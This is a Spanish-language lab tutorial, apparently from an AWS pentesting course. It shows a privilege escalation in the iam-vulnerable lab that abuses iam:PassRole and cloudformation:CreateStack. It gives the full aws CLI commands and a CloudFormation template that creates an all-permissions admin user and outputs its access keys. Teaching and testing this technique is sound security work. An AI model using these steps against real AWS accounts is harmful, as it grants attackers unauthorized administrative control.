PassExistingRoleToCloudFormation

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

https://github.com/BishopFox/iam-vulnerable

¿Qué es Cloudformation?

AWS CloudFormation es un servicio que ofrece a desarrolladores y empresas una manera sencilla de crear una colección de recursos de AWS y de terceros. También ayuda a aprovisionarlos y administrarlos de forma ordenada y predecible.

Un atacante con los permisos de iam:PassRole y cloudformation:CreateStack podría aumentar sus privilegios mediante la creación de una plantilla de CloudFormation que realizará acciones y creará recursos utilizando los permisos del rol que se pasó al crear una pila de CloudFormation.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc20-PassExistingRoleToCloudFormation-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc20-PassExistingRoleToCloudFormation --version-id v1

Para este escenario estaremos utilizando el siguiente rol:

Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a un Stack de Cloudformation.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc20-PassExistingRoleToCloudFormation-role --role-session-name privesc20

A partir de este momento, estaremos trabajando con el usuario privesc20-PassExistingRoleToCloudFormation-user.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile privesc20

El token se especificará dentro del archivo plano de credenciales.

aws sts get-caller-identity --profile privesc20

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc20-PassExistingRoleToCloudFormation-user --profile privesc20

En este escenario, tenemos que aprovechar del privilegio de cloudformation:CreateStack para crear un stack que tendrá lo necesario para escalar privilegios.

Posteriormente, utilizaremos el permiso cloudformation:DescribeStacks para visualizar información relacionada al stack malicioso.

No hay una serie de pasos específicos para escalar privilegios mediante el uso de CloudFormation. Ya que el atacante puede indicarle a CloudFormation que active cualquier recurso de AWS. En pocas palabras, se puede utilizar Cloudformation para escalar privilegios de diversas maneras como, por ejemplo, creando un nuevo usuario con permisos de administrador como se usa en el ejemplo a continuación.

Para la creación del stack, tenemos que utilizar una plantilla en donde se especifique que recursos será creados.

A continuación, se utilizará la siguiente plantilla encargada de crear un usuario con privilegios administrativos:

La plantilla puede ser consultada:

IAMCreateUserPlantilla.json
{
  "Resources": {
    "AdminUser": {
      "Type": "AWS::IAM::User"
    },
    "AdminPolicy": {
      "Type": "AWS::IAM::ManagedPolicy",
      "Properties": {
        "Description" : "This policy allows all actions on all resources.",
        "PolicyDocument": {
          "Version": "2012-10-17",
          "Statement": [
            {
              "Effect": "Allow",
              "Action": [
                "*"
              ],
              "Resource": "*"
            }
          ]
        },
        "Users": [{
          "Ref": "AdminUser"
        }]
      }
    },
    "MyUserKeys": {
      "Type": "AWS::IAM::AccessKey",
      "Properties": {
        "UserName": {
          "Ref": "AdminUser"
        }
      }
    }
  },
  "Outputs": {
    "AccessKey": {
      "Value": {
        "Ref": "MyUserKeys"
      },
      "Description": "Access Key ID of Admin User"
    },
    "SecretKey": {
      "Value": {
        "Fn::GetAtt": [
          "MyUserKeys",
          "SecretAccessKey"
        ]
      },
      "Description": "Secret Key of Admin User"
    }
  }
}

Un atacante almacenaria el archivo anterior en algun bucket controlado por dicho atacante y procede a ejecutar el siguiente comando:

aws cloudformation create-stack --stack-name privesc --template-url https://spartan-cpna.s3.amazonaws.com/IAMCreateUserPlantilla.json --role arn:aws:iam::037572360634:role/privesc-high-priv-service-role --capabilities CAPABILITY_IAM --profile privesc20

En la evidencia previa, podemos apreciar el valor del StackId que fue retornado después de ejecutar el comando para crear el stack malicioso.

Ahora que hemos creado nuestro stack malicioso, vamos aprovechar nuestro otro privilegio de cloudformation:DescribeStacks para visualizar el outpukey y posteriormente autenticarnos con estas credenciales.

El comando para retornar información sobre el stack recién creado es:

aws cloudformation describe-stacks --stack-name arn:aws:cloudformation:us-east-1:037572360634:stack/privesc/42a69900-e77f-11ec-bb6b-0e95d0bbdd5b --profile privesc20 

Ahora simplemente nos autenticamos y validamos nuestros permisos:

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.

Última actualización